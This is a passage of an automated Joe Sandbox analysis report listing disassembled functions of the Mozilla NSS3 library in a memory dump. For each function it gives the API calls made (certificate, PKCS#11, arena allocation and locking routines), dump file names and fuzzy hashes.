Part of subcall function 6CFFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CFFCD93,?), ref: 6CFFCF1D

Part of subcall function 6CFFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF47
Part of subcall function 6CFFCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF67
Part of subcall function 6CFFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CFFCD93,?,?,?,?,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF78

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 9feacbc904936a23622f7e1843ef854f950191c1888e580958b3629bf56654b1
Instruction ID: e94503b22e2a8aebd2e8bd04a962ea37efbc96bbb3fb8a256a8d489197d66771
Opcode Fuzzy Hash: 9feacbc904936a23622f7e1843ef854f950191c1888e580958b3629bf56654b1
Instruction Fuzzy Hash: DB51B4B6E001249FEB20DF69DC40BDA77F4EF48348F250524D96997760EB31E916CB91

Function 6D00FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6D00FFE5

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_EnterMonitor.NSS3(?), ref: 6D010004
PR_EnterMonitor.NSS3(?), ref: 6D01001B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 0db6b92f45b5e6b2524ea807694cf08ced3f420280a6fa0b61ab3b3fdbdbe852
Instruction ID: cc39f552107e5bf4e85c26c6441c2a1a922a86dfccb0bc2f49c2e4265ccb50dc
Opcode Fuzzy Hash: 0db6b92f45b5e6b2524ea807694cf08ced3f420280a6fa0b61ab3b3fdbdbe852
Instruction Fuzzy Hash: BE4154B460C6018BF7218AAADC517AF72E6EB41308F50443DE5CACB294E7BDA565C742

Function 6CFCEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CFCEF38

Part of subcall function 6CFB9520: PK11_IsLoggedIn.NSS3(00000000,?,6CFE379E,?,00000001,?), ref: 6CFB9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CFCEF53

Part of subcall function 6CFD4C20: TlsGetValue.KERNEL32 ref: 6CFD4C4C
Part of subcall function 6CFD4C20: EnterCriticalSection.KERNEL32(?), ref: 6CFD4C60
Part of subcall function 6CFD4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CA1
Part of subcall function 6CFD4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CBE
Part of subcall function 6CFD4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CD2
Part of subcall function 6CFD4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4D3A

PR_GetCurrentThread.NSS3 ref: 6CFCEF9E

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

free.MOZGLUE(00000000), ref: 6CFCEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFCF016
free.MOZGLUE(00000000), ref: 6CFCF022

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 3aaa19962f7ed5829dbea70682f992e219413f73332fdb8cb48e1b7e03f11661
Instruction ID: 14d708a55636ce5d106336627f20c3884d4eddbc48d4b8622d93a769a522fc9e
Opcode Fuzzy Hash: 3aaa19962f7ed5829dbea70682f992e219413f73332fdb8cb48e1b7e03f11661
Instruction Fuzzy Hash: 93417171F0010AABEF018FA9DC85BEFBAB9AB48758F044025F914A7251E7719915CBA2

Function 6CFBCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CFBCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CFBD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CFBD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBD025
PR_NewLock.NSS3 ref: 6CFBD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFBD074

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 72e2c7eb931807d17dc5d555ccfabf7ef81c52e38da6c065edd7cc9bab60257d
Instruction ID: f748aaa4bc74d353d08621e83c859402fc921b188c4c536a3c747bf2fbf7b890
Opcode Fuzzy Hash: 72e2c7eb931807d17dc5d555ccfabf7ef81c52e38da6c065edd7cc9bab60257d
Instruction Fuzzy Hash: B641E2B4A013158FEB10CF2AC88479B7BE4EF08358F11416ADD19AB74ED774D885CBA2

Function 6D003FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D003FF2

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaMark_Util.NSS3(?), ref: 6D004001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6D00400F

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6D004054

Part of subcall function 6CF9BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CF9BC24
Part of subcall function 6CF9BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF9BC39
Part of subcall function 6CF9BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CF9BC58
Part of subcall function 6CF9BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CF9BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D004070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6D0040CD

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 2c7cd7d6bfaecbe6be70e770dbad18867498d51d373de67f9c53381c6c77cb0f
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: E331C9B1E04341B7FB009F64DC81B7F33A4EFA5608F058225EE18AB346FB72E9558295

Function 6CFA2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CF92D1A), ref: 6CFA2E7E

Part of subcall function 6CFF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF98298,?,?,?,6CF8FCE5,?), ref: 6CFF07BF
Part of subcall function 6CFF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CFF07E6
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF081B
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF0825

PR_Now.NSS3 ref: 6CFA2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CFA2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CF92D1A), ref: 6CFA2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CF92D1A), ref: 6CFA2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CFA2F81

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 5c1d9125b03e7cc7f2f633ad51d15028aea9f13fed08c4e835febdd6159b8487
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 1431C171701140CBF710C697DC88BAFF2AAEB88318F644979D52D97AD0EB32D887CA51

Function 6CF90E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CF90A2C), ref: 6CF90E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CF90A2C), ref: 6CF90E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CF90A2C), ref: 6CF90E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CF90A2C), ref: 6CF90E90
free.MOZGLUE(00000000), ref: 6CF90EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CF90A2C), ref: 6CF90ED9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 45ae6b96cb98da0094f6d0f5c48c874200b8a4c4019ace7411ad5f292bac6ced
Instruction ID: 24084d30a041b9abbd764e752c5dce33bbf086f793d3a3ae2bf3f62d70cd4226
Opcode Fuzzy Hash: 45ae6b96cb98da0094f6d0f5c48c874200b8a4c4019ace7411ad5f292bac6ced
Instruction Fuzzy Hash: 74217D73E002855BFF0069669C85BEB72AFDFC9708F190035DC1CA3A02EBF1C81882A1

Function 6CF9AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF9AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CF9AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF9AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CF9AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6D0B9500), ref: 6CF9AF23

Part of subcall function 6CFEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CFEF0C8
Part of subcall function 6CFEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFEF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9AF37

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 24c0f8e1db491190787eac613e680e2c10fa866803a885d6449eb4021a1164e2
Instruction ID: 7dd2d6744d4bb1b5bf3688c4b327b88448364a4c351481e1bd86aaccfd209d89
Opcode Fuzzy Hash: 24c0f8e1db491190787eac613e680e2c10fa866803a885d6449eb4021a1164e2
Instruction Fuzzy Hash: 572123B6909200ABFF108F299C01B9B7BE4AF8572CF144318ED299B2D1E732D50587A7

Function 6D01EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D01EE85
realloc.MOZGLUE(CF417904,?), ref: 6D01EEAE
PORT_Alloc_Util.NSS3(?), ref: 6D01EEC5

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

htonl.WSOCK32(?), ref: 6D01EEE3
htonl.WSOCK32(00000000,?), ref: 6D01EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6D01EF01

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 30072b3e7801b6015ad2aab6e01c1941fea7ecfce08701cabfa5a2d7b915d75a
Instruction ID: 999bd9d597630427d36ef0442649f610b3d3201c8553e52c1273d6e63a571835
Opcode Fuzzy Hash: 30072b3e7801b6015ad2aab6e01c1941fea7ecfce08701cabfa5a2d7b915d75a
Instruction Fuzzy Hash: E121B131A042259BEB109F68DC80B5EB7E4FF49758F158129ED19DB242E731E810CBE2

Function 6CFCEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFCEE49

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFCEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CFCEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CFCEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFCEEB3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: d606ccb2b2704d1fd4b7912e90ec7ba391c3e890a634ba2d45d712b011e8f3b2
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: D521C3BBB002116BEB118E19EC82EEB77A8AF49748F190164FD049B741E771DC14C7E2

Function 6CFE5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CFE5D71), ref: 6CFE5F0A
TlsGetValue.KERNEL32 ref: 6CFE5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CFE5F2F
PR_Unlock.NSS3(890008E8), ref: 6CFE5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CFE5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CFE5F7D

Part of subcall function 6CFE5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CFE5F82,8B4274C0), ref: 6CFE5248
Part of subcall function 6CFE5220: EnterCriticalSection.KERNEL32(0F6D0B0D,?,6CFE5F82,8B4274C0), ref: 6CFE525C
Part of subcall function 6CFE5220: PR_SetError.NSS3(00000000,00000000), ref: 6CFE528E
Part of subcall function 6CFE5220: PR_Unlock.NSS3(0F6D0AF1), ref: 6CFE5299
Part of subcall function 6CFE5220: free.MOZGLUE(00000000), ref: 6CFE52A9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: aba535ce53a822baa53ec981dba789ffc3a7c28a738b58106a5a7df9350c1a1d
Instruction ID: 680014b721fa155d196d62aba71c4ae8cdd68e2a22745d3524e8b22497354b3d
Opcode Fuzzy Hash: aba535ce53a822baa53ec981dba789ffc3a7c28a738b58106a5a7df9350c1a1d
Instruction Fuzzy Hash: 5921F7B5C04204AFEB009F68EC41BEFBBB4EF48318F550129E90AA7301EB31A954CB91

Function 6CF97F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF97F68

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CF97F7B

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF97FA7

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0B919C,?), ref: 6CF97FBB

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF97FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6D0B915C,00000014), ref: 6CF97FFE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 2c610041b46ef5247e8c7f61d49829ffe4131d5aca670a9ea820058623f8800d
Instruction ID: c5d5b8ec9e4a2527e8dd256d21779fb7f1efc90a4324951527443d9463956191
Opcode Fuzzy Hash: 2c610041b46ef5247e8c7f61d49829ffe4131d5aca670a9ea820058623f8800d
Instruction Fuzzy Hash: B11136B1D0430467FB109A25AC40BBB72E8DF9865CF04062EFC6AE2781F720A548C2F5

Function 6CF9BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6D01DC29,?), ref: 6CF9BE64

